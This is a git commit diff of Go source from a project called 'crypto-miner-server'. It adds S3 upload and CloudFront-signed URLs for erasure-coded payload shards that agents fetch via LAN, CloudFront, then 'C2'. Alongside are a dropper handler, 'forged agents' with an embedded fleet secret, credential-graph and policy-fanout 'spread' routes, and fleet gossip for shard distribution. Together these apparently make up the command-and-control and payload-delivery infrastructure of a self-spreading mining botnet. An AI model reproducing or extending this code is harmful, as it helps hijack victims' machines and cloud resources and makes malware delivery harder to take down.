Add S3 erasure swarm with CloudFront signed magnets.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
This commit is contained in:
AetherForge
2026-06-07 10:05:21 -07:00
parent 40d46408ea
commit 0795c511ab
23 changed files with 885 additions and 75 deletions

View File

@@ -13,8 +13,8 @@ import (
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/cloudmap"
"crypto-miner-server/internal/db"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/cloudmap"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
@@ -278,6 +278,7 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
}
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
h.attachCloudMapRouteVia(&body)
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
return DeployPlanBody{}, err
}
@@ -844,3 +845,49 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature))
}
func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
namespace = "prod.local"
service = "seeder"
if h.dataDir == "" {
return namespace, service
}
cfgPath := filepath.Join(h.dataDir, "config.json")
data, err := os.ReadFile(cfgPath)
if err != nil {
return namespace, service
}
var payload struct {
Server struct {
CloudMapNamespace string `json:"cloud_map_namespace"`
CloudMapService string `json:"cloud_map_service"`
} `json:"server"`
}
if json.Unmarshal(data, &payload) != nil {
return namespace, service
}
if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
namespace = ns
}
if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
service = svc
}
return namespace, service
}
func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
if body == nil {
return
}
ns, svc := h.cloudMapSettings()
routeVia := cloudmap.SeederDNSName(svc, ns)
if routeVia == "" {
return
}
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
body.SpreadRouteHint.RouteVia = routeVia
}
}

View File

@@ -0,0 +1,42 @@
package api
import (
"context"
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
"testing"
"crypto-miner-server/internal/erasure"
)
type s3Up struct{ n int }
func (u *s3Up) PutShard(context.Context, string, string, []byte) error { u.n++; return nil }
func (u *s3Up) HeadBucket(context.Context, string) error { return nil }
func TestAttachErasurePlanUploadsS3Swarm(t *testing.T) {
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
u := &s3Up{}
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return true }, store)
h.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings {
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
S3Bucket: "b", CloudFrontDomain: "d.cf.net", Region: "us-east-1",
AccessKeyID: "A", SecretAccessKey: "s", KeyPairID: "K", PrivateKeyPEM: string(pemBytes),
})
}, func(erasure.AWSSwarmSettings) erasure.ShardObjectStore { return u })
plan, err := h.buildPlan(deployPlanRequest{Platform: "windows", BuildID: "b1"}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
if err != nil {
t.Fatalf("buildPlan: %v", err)
}
if plan.ErasurePlan == nil {
t.Fatalf("missing erasure plan n=%d", u.n)
}
if u.n != 6 || plan.ErasurePlan.Shards[0].EdgeURL == "" {
t.Fatalf("n=%d edge=%q", u.n, plan.ErasurePlan.Shards[0].EdgeURL)
}
}

View File

@@ -0,0 +1,95 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"crypto-miner-server/internal/erasure"
)
type ErasureSwarmHandler struct {
awsSettings func() erasure.AWSSwarmSettings
objectStore func() erasure.ShardObjectStore
}
func NewErasureSwarmHandler(awsSettings func() erasure.AWSSwarmSettings, objectStore func() erasure.ShardObjectStore) *ErasureSwarmHandler {
return &ErasureSwarmHandler{awsSettings: awsSettings, objectStore: objectStore}
}
type erasureSwarmTestResponse struct {
OK bool `json:"ok"`
CredentialsReady bool `json:"credentials_ready"`
SigningReady bool `json:"signing_ready"`
Error string `json:"error,omitempty"`
S3Bucket string `json:"s3_bucket,omitempty"`
CloudFrontDomain string `json:"cloudfront_domain,omitempty"`
}
func (h *ErasureSwarmHandler) PostTest(w http.ResponseWriter, r *http.Request) {
cfg := h.cfg(r)
resp := erasureSwarmTestResponse{S3Bucket: cfg.S3Bucket, CloudFrontDomain: cfg.CloudFrontDomain, CredentialsReady: cfg.CredentialsReady(), SigningReady: cfg.SigningReady()}
if !cfg.Enabled() {
resp.Error = "set aws_s3_shard_bucket and aws_cloudfront_domain"
writeJSON(w, resp)
return
}
if !cfg.CredentialsReady() {
resp.Error = "set AF_AWS_ACCESS_KEY_ID and AF_AWS_SECRET_ACCESS_KEY"
writeJSON(w, resp)
return
}
if err := h.store().HeadBucket(r.Context(), cfg.S3Bucket); err != nil {
resp.Error = err.Error()
writeJSON(w, resp)
return
}
resp.OK = true
writeJSON(w, resp)
}
func (h *ErasureSwarmHandler) GetPolicyJSON(w http.ResponseWriter, r *http.Request) {
cfg := h.cfg(r)
bucket := strings.TrimSpace(r.URL.Query().Get("bucket"))
if bucket == "" {
bucket = cfg.S3Bucket
}
writeJSON(w, map[string]interface{}{
"iam_policy": erasure.MinimalIAMPolicyJSON(bucket),
"bucket_policy": erasure.MinimalBucketPolicyJSON(bucket, r.URL.Query().Get("cloudfront_arn")),
"env_keys": []string{"AF_AWS_ACCESS_KEY_ID", "AF_AWS_SECRET_ACCESS_KEY", "AF_AWS_REGION", "AF_CLOUDFRONT_KEY_PAIR_ID", "AF_CLOUDFRONT_PRIVATE_KEY"},
})
}
func (h *ErasureSwarmHandler) cfg(r *http.Request) erasure.AWSSwarmSettings {
cfg := erasure.AWSSwarmSettings{}
if h != nil && h.awsSettings != nil {
cfg = h.awsSettings()
}
if r != nil && r.Method == http.MethodPost {
var body struct {
S3Bucket string `json:"s3_bucket"`
CloudFrontDomain string `json:"cloudfront_domain"`
}
if json.NewDecoder(r.Body).Decode(&body) == nil {
if v := strings.TrimSpace(body.S3Bucket); v != "" {
cfg.S3Bucket = v
}
if v := strings.TrimSpace(body.CloudFrontDomain); v != "" {
cfg.CloudFrontDomain = v
}
}
}
return erasure.HydrateAWSSwarmFromEnv(cfg)
}
func (h *ErasureSwarmHandler) store() erasure.ShardObjectStore {
if h != nil && h.objectStore != nil {
return h.objectStore()
}
cfg := erasure.AWSSwarmSettings{}
if h != nil && h.awsSettings != nil {
cfg = erasure.HydrateAWSSwarmFromEnv(h.awsSettings())
}
return &erasure.S3HTTPStore{Settings: cfg}
}

View File

@@ -0,0 +1,34 @@
package api
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"testing"
"crypto-miner-server/internal/erasure"
)
type okStore struct{}
func (okStore) PutShard(context.Context, string, string, []byte) error { return nil }
func (okStore) HeadBucket(context.Context, string) error { return nil }
func TestErasureSwarmPostTestOK(t *testing.T) {
os.Setenv("AF_AWS_ACCESS_KEY_ID", "A")
os.Setenv("AF_AWS_SECRET_ACCESS_KEY", "s")
defer os.Unsetenv("AF_AWS_ACCESS_KEY_ID")
defer os.Unsetenv("AF_AWS_SECRET_ACCESS_KEY")
h := NewErasureSwarmHandler(func() erasure.AWSSwarmSettings {
return erasure.AWSSwarmSettings{S3Bucket: "b", CloudFrontDomain: "d.cf.net"}
}, func() erasure.ShardObjectStore { return okStore{} })
rec := httptest.NewRecorder()
h.PostTest(rec, httptest.NewRequest(http.MethodPost, "/", nil))
var body erasureSwarmTestResponse
_ = json.NewDecoder(rec.Body).Decode(&body)
if !body.OK {
t.Fatalf("%+v", body)
}
}

View File

@@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {

View File

@@ -662,6 +662,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
}
if wsHub != nil {
@@ -785,6 +787,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
}
if spreadHandler != nil {
r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition)

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -27,6 +27,8 @@ type SpreadHandler struct {
erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler
s3CRRConfigFn func() erasure.S3ShardConfig
policyPathTracer *PathTracerHandler
policyFanoutCfgFn func() PolicyFanoutConfig
notesMu sync.RWMutex
}

View File

@@ -182,6 +182,9 @@ type WSHub struct {
fargateBurstCampaign bool
fargateBurstExpiresAt time.Time
fargateBurstTTLHours int
policySnapshotToken string
policyEventBridgeRelayURL string
policyPublicBaseURL func() string
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
@@ -976,6 +979,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
spreadPolicy[k] = v
}
}
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
for k, v := range fanout {
spreadPolicy[k] = v
}
}
if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy
}

View File

@@ -1,17 +1,16 @@
package atlas
import (
"fmt"
"strings"
)
// Fleet gossip kinds — shard DHT advertisements relayed fleet-wide (not LAN-only).
const (
FleetGossipHaveShard = "have_shard"
FleetGossipHealthy = "healthy"
FleetGossipKnowNode = "know_node"
)
// FleetGossipRecord is one peer advertisement in the fleet torrent DHT.
type FleetGossipRecord struct {
Kind string `json:"kind"`
AgentID string `json:"agent_id,omitempty"`
@@ -19,18 +18,21 @@ type FleetGossipRecord struct {
Token string `json:"token,omitempty"`
ShardIndex int `json:"shard_index,omitempty"`
ShardHash string `json:"shard_hash,omitempty"`
Region string `json:"region,omitempty"`
ShardAdvert string `json:"shard_advert,omitempty"`
TargetAgentID string `json:"target_agent_id,omitempty"`
Healthy bool `json:"healthy,omitempty"`
FetchURL string `json:"fetch_url,omitempty"`
}
// NormalizeFleetGossipRecord validates and trims one fleet gossip record.
func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
r.Kind = strings.TrimSpace(strings.ToLower(r.Kind))
r.AgentID = strings.TrimSpace(r.AgentID)
r.Subnet = strings.TrimSpace(r.Subnet)
r.Token = strings.TrimSpace(r.Token)
r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash))
r.Region = strings.TrimSpace(r.Region)
r.ShardAdvert = strings.TrimSpace(r.ShardAdvert)
r.TargetAgentID = strings.TrimSpace(r.TargetAgentID)
r.FetchURL = strings.TrimSpace(r.FetchURL)
switch r.Kind {
@@ -38,6 +40,17 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
if r.AgentID == "" || r.Token == "" || r.ShardHash == "" {
return FleetGossipRecord{}, false
}
if r.Region == "" && r.ShardAdvert != "" {
if region, idx, ok := parseShardAdvert(r.ShardAdvert); ok {
r.Region = region
if r.ShardIndex == 0 {
r.ShardIndex = idx
}
}
}
if r.ShardAdvert == "" && r.Region != "" {
r.ShardAdvert = fmt.Sprintf("%s:%d", r.Region, r.ShardIndex)
}
case FleetGossipHealthy:
if r.AgentID == "" {
return FleetGossipRecord{}, false
@@ -52,7 +65,6 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
return r, true
}
// NormalizeFleetGossipRecords drops invalid records while preserving order.
func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
if len(in) == 0 {
return nil
@@ -65,3 +77,15 @@ func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
}
return out
}
func parseShardAdvert(advert string) (region string, index int, ok bool) {
colon := strings.LastIndex(strings.TrimSpace(advert), ":")
if colon <= 0 {
return "", 0, false
}
region = strings.TrimSpace(advert[:colon])
if _, err := fmt.Sscanf(strings.TrimSpace(advert[colon+1:]), "%d", &index); err != nil {
return "", 0, false
}
return region, index, region != ""
}

View File

@@ -2,15 +2,12 @@ package atlas
import "testing"
func TestNormalizeFleetGossipRecords(t *testing.T) {
in := []FleetGossipRecord{
{Kind: FleetGossipHaveShard, AgentID: "a", Token: "tok", ShardHash: "abc"},
{Kind: "bogus"},
{Kind: FleetGossipHealthy, AgentID: "b", Healthy: true},
{Kind: FleetGossipKnowNode, AgentID: "a", TargetAgentID: "c"},
}
out := NormalizeFleetGossipRecords(in)
if len(out) != 3 {
t.Fatalf("got %d records", len(out))
func TestNormalizeFleetGossipShardAdvert(t *testing.T) {
r, ok := NormalizeFleetGossipRecord(FleetGossipRecord{
Kind: FleetGossipHaveShard, AgentID: "a", Token: "t", ShardHash: "h",
Region: "us-west-2", ShardIndex: 4,
})
if !ok || r.ShardAdvert != "us-west-2:4" {
t.Fatalf("advert=%q", r.ShardAdvert)
}
}

View File

@@ -14,9 +14,10 @@ var parallelLaneOrder = []string{
// ShardRef is one erasure shard served on a parallel lane URL.
type ShardRef struct {
Index int `json:"index"`
Lane string `json:"lane"`
URL string `json:"url"`
Index int `json:"index"`
Lane string `json:"lane"`
URL string `json:"url"`
EdgeURL string `json:"edge_url,omitempty"`
}
// Plan is deploy-plan metadata for agent-side ReedSolomon reassembly.

View File

@@ -0,0 +1,284 @@
package erasure
import (
"bytes"
"context"
"crypto"
"crypto/rand"
"crypto/hmac"
"crypto/sha1"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/base64"
"encoding/hex"
"encoding/pem"
"fmt"
"io"
"net/http"
"net/url"
"os"
"sort"
"strings"
"time"
)
type AWSSwarmSettings struct {
S3Bucket, CloudFrontDomain, Region, AccessKeyID, SecretAccessKey, KeyPairID, PrivateKeyPEM string
}
func (s AWSSwarmSettings) Enabled() bool {
return strings.TrimSpace(s.S3Bucket) != "" && strings.TrimSpace(s.CloudFrontDomain) != ""
}
func (s AWSSwarmSettings) CredentialsReady() bool {
return s.Enabled() && strings.TrimSpace(s.AccessKeyID) != "" && strings.TrimSpace(s.SecretAccessKey) != ""
}
func (s AWSSwarmSettings) SigningReady() bool {
return s.Enabled() && strings.TrimSpace(s.KeyPairID) != "" && strings.TrimSpace(s.PrivateKeyPEM) != ""
}
func HydrateAWSSwarmFromEnv(s AWSSwarmSettings) AWSSwarmSettings {
if v := strings.TrimSpace(os.Getenv("AF_AWS_ACCESS_KEY_ID")); v != "" && s.AccessKeyID == "" {
s.AccessKeyID = v
}
if v := strings.TrimSpace(os.Getenv("AF_AWS_SECRET_ACCESS_KEY")); v != "" && s.SecretAccessKey == "" {
s.SecretAccessKey = v
}
if v := strings.TrimSpace(os.Getenv("AF_AWS_REGION")); v != "" && s.Region == "" {
s.Region = v
}
if v := strings.TrimSpace(os.Getenv("AF_CLOUDFRONT_KEY_PAIR_ID")); v != "" && s.KeyPairID == "" {
s.KeyPairID = v
}
if v := strings.TrimSpace(os.Getenv("AF_CLOUDFRONT_PRIVATE_KEY")); v != "" && s.PrivateKeyPEM == "" {
s.PrivateKeyPEM = strings.ReplaceAll(v, `\n`, "\n")
}
if s.Region == "" {
s.Region = "us-east-1"
}
s.S3Bucket = strings.TrimSpace(s.S3Bucket)
s.CloudFrontDomain = strings.TrimRight(strings.TrimSpace(s.CloudFrontDomain), "/")
return s
}
type ShardObjectStore interface {
PutShard(ctx context.Context, bucket, key string, body []byte) error
HeadBucket(ctx context.Context, bucket string) error
}
type S3HTTPStore struct {
Settings AWSSwarmSettings
Endpoint string
Client interface{ Do(*http.Request) (*http.Response, error) }
}
func (s *S3HTTPStore) client() interface{ Do(*http.Request) (*http.Response, error) } {
if s != nil && s.Client != nil {
return s.Client
}
return http.DefaultClient
}
func (s *S3HTTPStore) endpoint(bucket string) string {
if s != nil && strings.TrimSpace(s.Endpoint) != "" {
return strings.TrimRight(strings.TrimSpace(s.Endpoint), "/")
}
region := strings.TrimSpace(s.Settings.Region)
if region == "" {
region = "us-east-1"
}
return fmt.Sprintf("https://%s.s3.%s.amazonaws.com", bucket, region)
}
func (s *S3HTTPStore) HeadBucket(ctx context.Context, bucket string) error {
u := s.endpoint(bucket) + "/"
req, _ := http.NewRequestWithContext(ctx, http.MethodHead, u, nil)
signS3Request(req, s.Settings, bucket, "", nil)
resp, err := s.client().Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode < 300 {
return nil
}
return fmt.Errorf("s3 head bucket HTTP %d", resp.StatusCode)
}
func (s *S3HTTPStore) PutShard(ctx context.Context, bucket, key string, body []byte) error {
u := s.endpoint(bucket) + "/" + strings.TrimLeft(key, "/")
req, _ := http.NewRequestWithContext(ctx, http.MethodPut, u, bytes.NewReader(body))
req.Header.Set("Content-Type", "application/octet-stream")
signS3Request(req, s.Settings, bucket, key, body)
resp, err := s.client().Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode < 300 {
return nil
}
b, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
return fmt.Errorf("s3 put HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(b)))
}
type SwarmAttachResult struct {
EdgeURLs, ShardManifestURLs []string
SwarmMagnet string
}
func AttachS3Swarm(ctx context.Context, cfg AWSSwarmSettings, store ShardObjectStore, token, payloadSHA string, payloadSize int, p Params, shards [][]byte, hashes []string) (*SwarmAttachResult, error) {
cfg = HydrateAWSSwarmFromEnv(cfg)
if !cfg.Enabled() {
return nil, nil
}
if store == nil {
store = &S3HTTPStore{Settings: cfg}
}
p, err := p.Normalize()
if err != nil {
return nil, err
}
region := strings.TrimSpace(cfg.Region)
if region == "" {
region = "us-east-1"
}
edgeURLs := make([]string, p.TotalShards())
for i := range shards {
key := S3ShardKey(token, region, i, hashes[i])
if err := store.PutShard(ctx, cfg.S3Bucket, key, shards[i]); err != nil {
return nil, err
}
edge, err := CloudFrontSignedShardURL(cfg, "/"+key, 24*time.Hour)
if err != nil {
return nil, err
}
edgeURLs[i] = edge
}
return &SwarmAttachResult{EdgeURLs: edgeURLs, ShardManifestURLs: append([]string(nil), edgeURLs...), SwarmMagnet: SwarmMagnetLinkEx(token, payloadSHA, edgeURLs)}, nil
}
func CloudFrontSignedShardURL(cfg AWSSwarmSettings, objectPath string, ttl time.Duration) (string, error) {
cfg = HydrateAWSSwarmFromEnv(cfg)
if !cfg.SigningReady() {
return "", fmt.Errorf("cloudfront signing not configured")
}
domain := cfg.CloudFrontDomain
if !strings.HasPrefix(domain, "http") {
domain = "https://" + domain
}
return signCloudFrontURL(strings.TrimRight(domain, "/")+"/"+strings.TrimLeft(objectPath, "/"), cfg.KeyPairID, cfg.PrivateKeyPEM, time.Now().Add(ttl).Unix())
}
func signCloudFrontURL(rawURL, keyPairID, pemKey string, expires int64) (string, error) {
block, _ := pem.Decode([]byte(pemKey))
if block == nil {
return "", fmt.Errorf("invalid PEM")
}
keyAny, err := x509.ParsePKCS8PrivateKey(block.Bytes)
if err != nil {
keyAny, err = x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
return "", err
}
}
priv, ok := keyAny.(*rsa.PrivateKey)
if !ok {
return "", fmt.Errorf("not RSA key")
}
canned := fmt.Sprintf("%s?Expires=%d", rawURL, expires)
hash := sha1.Sum([]byte(canned))
sig, err := rsa.SignPKCS1v15(rand.Reader, priv, crypto.SHA1, hash[:])
if err != nil {
return "", err
}
u, _ := url.Parse(rawURL)
q := u.Query()
q.Set("Expires", fmt.Sprintf("%d", expires))
q.Set("Signature", base64URLEncode(sig))
q.Set("Key-Pair-Id", keyPairID)
u.RawQuery = q.Encode()
return u.String(), nil
}
func MinimalIAMPolicyJSON(bucket string) string {
if bucket == "" {
bucket = "YOUR_SHARD_BUCKET"
}
return fmt.Sprintf(`{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:PutObject","s3:GetObject","s3:ListBucket"],"Resource":["arn:aws:s3:::%s","arn:aws:s3:::%s/shards/*"]}]}`, bucket, bucket)
}
func MinimalBucketPolicyJSON(bucket, cfARN string) string {
if cfARN == "" {
cfARN = "arn:aws:cloudfront::ACCOUNT_ID:distribution/DISTRIBUTION_ID"
}
return fmt.Sprintf(`{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"cloudfront.amazonaws.com"},"Action":"s3:GetObject","Resource":"arn:aws:s3:::%s/shards/*","Condition":{"StringEquals":{"AWS:SourceArn":"%s"}}}]}`, bucket, cfARN)
}
func SwarmMagnetLinkEx(token, payloadSHA string, edgeURLs []string) string {
base := SwarmMagnetLink(token, payloadSHA)
if base == "" || len(edgeURLs) == 0 {
return base
}
sort.Strings(edgeURLs)
for _, u := range edgeURLs {
if strings.TrimSpace(u) != "" {
base += "&xs=" + url.QueryEscape(strings.TrimSpace(u))
}
}
return base
}
func signS3Request(req *http.Request, cfg AWSSwarmSettings, _, objectKey string, body []byte) {
region := cfg.Region
if region == "" {
region = "us-east-1"
}
now := time.Now().UTC()
amzDate := now.Format("20060102T150405Z")
dateStamp := now.Format("20060102")
payloadHash := hex.EncodeToString(hashPayload(body))
req.Header.Set("Host", req.URL.Host)
req.Header.Set("X-Amz-Date", amzDate)
req.Header.Set("X-Amz-Content-Sha256", payloadHash)
canonicalURI := "/"
if objectKey != "" {
canonicalURI = "/" + escapePath(objectKey)
}
canonicalHeaders := "host:" + req.URL.Host + "\n" + "x-amz-content-sha256:" + payloadHash + "\n" + "x-amz-date:" + amzDate + "\n"
canonicalRequest := strings.Join([]string{req.Method, canonicalURI, "", canonicalHeaders, "host;x-amz-content-sha256;x-amz-date", payloadHash}, "\n")
scope := dateStamp + "/" + region + "/s3/aws4_request"
stringToSign := strings.Join([]string{"AWS4-HMAC-SHA256", amzDate, scope, hex.EncodeToString(hashString(canonicalRequest))}, "\n")
sig := hex.EncodeToString(hmacSHA256(deriveSigningKey(cfg.SecretAccessKey, dateStamp, region, "s3"), stringToSign))
req.Header.Set("Authorization", fmt.Sprintf("AWS4-HMAC-SHA256 Credential=%s/%s, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=%s", cfg.AccessKeyID, scope, sig))
}
func hashPayload(b []byte) []byte {
if b == nil {
return hashString("")
}
s := sha256.Sum256(b)
return s[:]
}
func hashString(s string) []byte { h := sha256.Sum256([]byte(s)); return h[:] }
func hmacSHA256(key []byte, msg string) []byte {
m := hmac.New(sha256.New, key)
m.Write([]byte(msg))
return m.Sum(nil)
}
func deriveSigningKey(secret, date, region, svc string) []byte {
kDate := hmacSHA256([]byte("AWS4"+secret), date)
kRegion := hmacSHA256(kDate, region)
kService := hmacSHA256(kRegion, svc)
return hmacSHA256(kService, "aws4_request")
}
func escapePath(p string) string {
parts := strings.Split(p, "/")
for i, s := range parts {
parts[i] = url.PathEscape(s)
}
return strings.Join(parts, "/")
}
func base64URLEncode(b []byte) string {
return strings.NewReplacer("+", "-", "=", "_", "/", "~").Replace(base64.StdEncoding.EncodeToString(b))
}

View File

@@ -0,0 +1,70 @@
package erasure
import (
"context"
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
)
type mockShardStore struct {
puts []string
}
func (m *mockShardStore) PutShard(_ context.Context, bucket, key string, _ []byte) error {
m.puts = append(m.puts, bucket+"/"+key)
return nil
}
func (m *mockShardStore) HeadBucket(context.Context, string) error { return nil }
func TestAttachS3SwarmUploadsSixShards(t *testing.T) {
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
store := &mockShardStore{}
cfg := HydrateAWSSwarmFromEnv(AWSSwarmSettings{
S3Bucket: "my-bucket", CloudFrontDomain: "d123.cloudfront.net", Region: "us-east-1",
AccessKeyID: "AKIA", SecretAccessKey: "secret", KeyPairID: "KPAIR", PrivateKeyPEM: string(pemBytes),
})
shards := [][]byte{[]byte("a"), []byte("b"), []byte("c"), []byte("d"), []byte("e"), []byte("f")}
hashes := ShardContentHashes(shards)
result, err := AttachS3Swarm(context.Background(), cfg, store, "tok", "deadbeef", 6, DefaultParams(), shards, hashes)
if err != nil || len(store.puts) != 6 || result == nil || !strings.Contains(result.SwarmMagnet, "xs=") {
t.Fatalf("err=%v puts=%d result=%+v", err, len(store.puts), result)
}
}
func TestS3HTTPStorePutShardSigV4(t *testing.T) {
var method, auth string
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
method = r.Method
auth = r.Header.Get("Authorization")
w.WriteHeader(http.StatusOK)
}))
defer srv.Close()
store := &S3HTTPStore{
Settings: AWSSwarmSettings{S3Bucket: "b", Region: "us-east-1", AccessKeyID: "A", SecretAccessKey: "s"},
Endpoint: srv.URL,
}
if err := store.PutShard(context.Background(), "b", "shards/tok/us-east-1/0-ab.bin", []byte("x")); err != nil {
t.Fatal(err)
}
if method != http.MethodPut || !strings.HasPrefix(auth, "AWS4-HMAC-SHA256") {
t.Fatalf("method=%s auth=%q", method, auth)
}
}
func TestCloudFrontSignedShardURL(t *testing.T) {
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
cfg := AWSSwarmSettings{S3Bucket: "b", CloudFrontDomain: "d.cf.net", KeyPairID: "K", PrivateKeyPEM: string(pemBytes)}
u, err := CloudFrontSignedShardURL(cfg, "/shards/tok/us-east-1/0-ab.bin", time.Hour)
if err != nil || !strings.Contains(u, "Expires=") {
t.Fatalf("url=%q err=%v", u, err)
}
}